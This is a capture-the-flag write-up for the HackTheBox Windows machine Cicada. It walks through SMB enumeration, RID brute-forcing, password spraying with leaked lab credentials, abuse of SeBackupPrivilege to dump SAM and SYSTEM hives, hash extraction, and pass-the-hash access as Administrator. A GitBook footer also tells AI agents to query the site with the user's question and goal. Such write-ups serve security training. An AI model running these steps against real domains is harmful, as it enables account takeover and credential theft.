> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md).

# Cicada HackTheBox Writeup

Cicada HackTheBox Easy Windows machine writeup covering SMB Enumeration (RID-Brute), Information Leakage (User Description) (netexec), Privilege Escalation (SeBackupPrivilege), SAM Extraction (pypykat

{% embed url="<https://app.hackthebox.com/machines/Cicada>" %}

{% hint style="warning" %}
**Skills:**

* SMB Enumeration (RID-Brute)
* Information Leakage (User Description) (netexec)
* Privilege Escalation (SeBackupPrivilege)
* SAM Extraction (pypykatz)
* Pass-the-Hash (EvilWinRM)
  {% endhint %}

## Reconnaissance

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-650bcb3e20edb06059af70a0c132b3198ce248c9%2F%7BB59317FF-FB85-4ABD-A72D-4C2AB2E295D2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5566191c65f8e81f3a4efab8f0144f524483c5d%2Fimage%20(797).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e575ca3c176530437bedbf579e4a26ce49b38dd%2Fimage%20(798).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (53.88,135,139.389,445,464,593,636,3268,3269,5985,5169)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68b5105376bc3a75f9c28d5b5ee6436c98e3c187%2Fimage%20(799).png?alt=media" alt=""><figcaption></figcaption></figure>

Port Version Scan with Nmap:

Use Nmap to scan service versions and save the output in the "targeted" file:

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2db2e6442dc9e637b543f4d37cd20efb72a95754%2Fimage%20(800).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b80b5e039a73f4080f99b77c9af3f11f2271703%2F%7B74D491D3-7D9E-4B51-9747-DB1D4934D598%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address is inserted into the `/etc/hosts` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-decc0f987c913b1d08be878b6ae3fd2a2f92b190%2Fimage%20(801).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 445 - SMB

**SMB listing with smbmap**

To list shared resources with a null session:

```bash
smbmap -H 10.10.11.35 -u 'null'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-24c9fc77f5065cb94a3e22c6e926f28954d788e4%2F%7B32BBA777-A779-4827-BB71-A6B36E0CA98D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

The **HR** folder contains an interesting text file. We explore its content:

```bash
smbmap -H 10.10.11.35 -u 'null' -r HR
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e72c3fc9a8315ef2a6767e1cb1793e80fed72840%2Fimage%20(802).png?alt=media" alt=""><figcaption></figcaption></figure>

**Download file**

We access sharing and download the file:

```bash
smbclient //10.10.11.35/HR -N
get "Notice from HR.txt"
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb25c42f00c75c39d6c57641977d471356c360df%2Fimage%20(803).png?alt=media" alt=""><figcaption></figcaption></figure>

The file contains a password

* password: `Cicada$M6Corpb*@Lp#nZp!8`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25eb617fd6696444bed6bc51a08d4487d9175e20%2Fimage%20(804).png?alt=media" alt=""><figcaption></figcaption></figure>

## RID-Brute list

#### To identify users of the domain, we launch a RID-Brute attack:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> The `--rid-brute` parameter is used to perform a /*/* brute force attack/*/* on **RID (Related Identifiers)** users in a Windows domain. A RID is part of a user's unique identifier in a Windows system and is generally used to identify user accounts and groups

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f5ff61c34c8f56d994e65824e94b9d32e070cfa6%2F%7B2A5D72BB-3931-490A-A31B-C3A9D1B42C52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Here is the list of users found:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### User validation

We test the password found for all users:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

The user **michael.wrightson** uses this password.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6544bdeedaf1ace5b1f3de36ea5af89b891e8808%2Fimage%20(807).png?alt=media" alt=""><figcaption></figcaption></figure>

### User Michael:

### Enumeration with netexec

We use **michael.wrightson** credentials to explore further:

```bash
netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a48d74fde2e23c372291ae765ce314867b0d694d%2F%7BB3D3F99E-A22B-4BC1-8C00-C79341B106DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

This reveals the user's clear password **david.orelious**:

* username: `david.orelious`
* password: `aRt$Lp#7t*VQ!3`

/*/Validation and SMB enumeration with the credentials in //* **david.orelious**

### Pivoting User David

We validate david.orelious IDs with CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51cda32b0de45aa574139c8765e98944e3dd90da%2Fimage%20(808).png?alt=media" alt=""><figcaption></figcaption></figure>

Then we explore the SMB shares accessible on the target with smbmap:

```bash
smbmap -H 10.10.11.35 -u david.orelious
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4316ed07daaa1a7b767778fc37d5eb1760c9883d%2Fimage%20(809).png?alt=media" alt=""><figcaption></figcaption></figure>

We then connect to DEV sharing with smbclient:

```bash
smbclient //10.10.11.35/DEV -U david.orelious
```

In this sharing we find a script named backup/ script.ps1.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-894b8439016bb7730e47e3e38035fde84490d173%2F%7BDD71513F-0CE1-4AC7-BC20-E1974106A32A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Pivoting User Emily

We download the backup/ script.ps1 script with the get command and discover user IDs emily.oscars

* username: emily.oscars
* password: Q!3\@Lp#M6b/\*7t/\*Vt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc656f26d2a0660113af48a6799fd0b9966213a9%2Fimage%20(810).png?alt=media" alt=""><figcaption></figcaption></figure>

We validate these credentials with CrackMapExec:

```bash
crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

Then we connect to the machine with Evil-WinRM:

```bash
evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt'
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ee9eb27638701f76a22725a2b868cf6a859a827%2Fimage%20(811).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag user.txt

We retrieve the flag from the user.txt file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d856f5dd0fa5241793d58de885a2989e4770aa67%2Fimage%20(812).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

### whoami /priv - SeBackupPrivilege

{% embed url="<https://starlox.medium.com/windows-privesc-with-sebackupprivilege-enable-b9e949219caf>" %}

**Privilege Check**

For starters, let's check the privileges of the current user. Run the following command to check if the user has the `SeBackupPrivilege` privilege:

```bash
whoami /priv
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5d1e6f58202ec3883b988728548a66f98739fda%2Fimage%20(2712).png?alt=media" alt=""><figcaption></figcaption></figure>

**Download necessary DLL files**

To abuse these privileges, download the DLL files to the victim machine. They are available [here](https://github.com/giuliano108/SeBackupPrivilege).

1. **SeBackupPrivilegeCmdLets.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll>" %}

2. **SeBackupPrivilegeUtils.dll**

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/blob/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll>" %}

Download these files to the victim's machine using the following commands

```powershell
upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-448c241fd1096d858e09ed00ea9fd60a7aec0c52%2Fimage%20(2713).png?alt=media" alt=""><figcaption></figcaption></figure>

**Loading DLL Modules**

Once the DLL files are downloaded, load them into the PowerShell session using the following commands:

```powershell
Import-Module ./SeBackupPrivilegeCmdLets.dll
Import-Module ./SeBackupPrivilegeUtils.dll
```

**Back up the SAM and SYSTEM files**

We will now save the `SAM` and `SYSTEM` files that contain the user identification information. Use the following commands to save them:

```powershell
reg save hklm/sam sam
reg save hklm/system system
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03d5d6200b5b6173856fb745a24a9fc18e206b06%2Fimage%20(2715).png?alt=media" alt=""><figcaption></figcaption></figure>

**Download SAM and SYSTEM files**

After saving the files, you can download them to your virtual machine (VM) to scan them:

```powershell
download sam
download system
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-744ab6636c2bcf09bc648f6b7436cd31a1c93296%2Fimage%20(2716).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Extracting hashes from the SAM file**

Use `samdump2` to extract hashes from `SAM` and `SYSTEM` files:

```bash
samdump2 system sam
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bab0e858303b23f0bb12e4bce4774e7b880831a%2Fimage%20(2718).png?alt=media" alt=""><figcaption></figcaption></figure>

If this command does not work, you can try `pypykatz` to extract the hashes directly:

```bash
pypykatz registry system --sam sam
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-179e390f740523e1401680346d6cc618438d1142%2Fimage%20(2717).png?alt=media" alt=""><figcaption></figcaption></figure>

This should provide a valid hash, for example:

* hash: `2b87e7c93a3e8a0ea4a581937016f341`

### **Pass-the-Hash with Evil-WinRM**

Now that you have the hash, you can use it to perform a "Pass-the-Hash" and connect to the target machine using `evil-winrm`:

```bash
evil-winrm  -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6638affa77ecbaee987dace0bee8a6642228823%2F%7B97029CC7-1C0D-4857-984D-5B10A40D1DD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6ac9eef361c901b8bdd6b31677a08cc842da0db%2F%7B51FD37ED-70B8-4CB1-BF29-FF915302BBBE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fce44cd234886663d7d82056051732e010e5090c%2F%7B4F7CCF65-DFFC-4675-AD9B-9373499A0D92%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
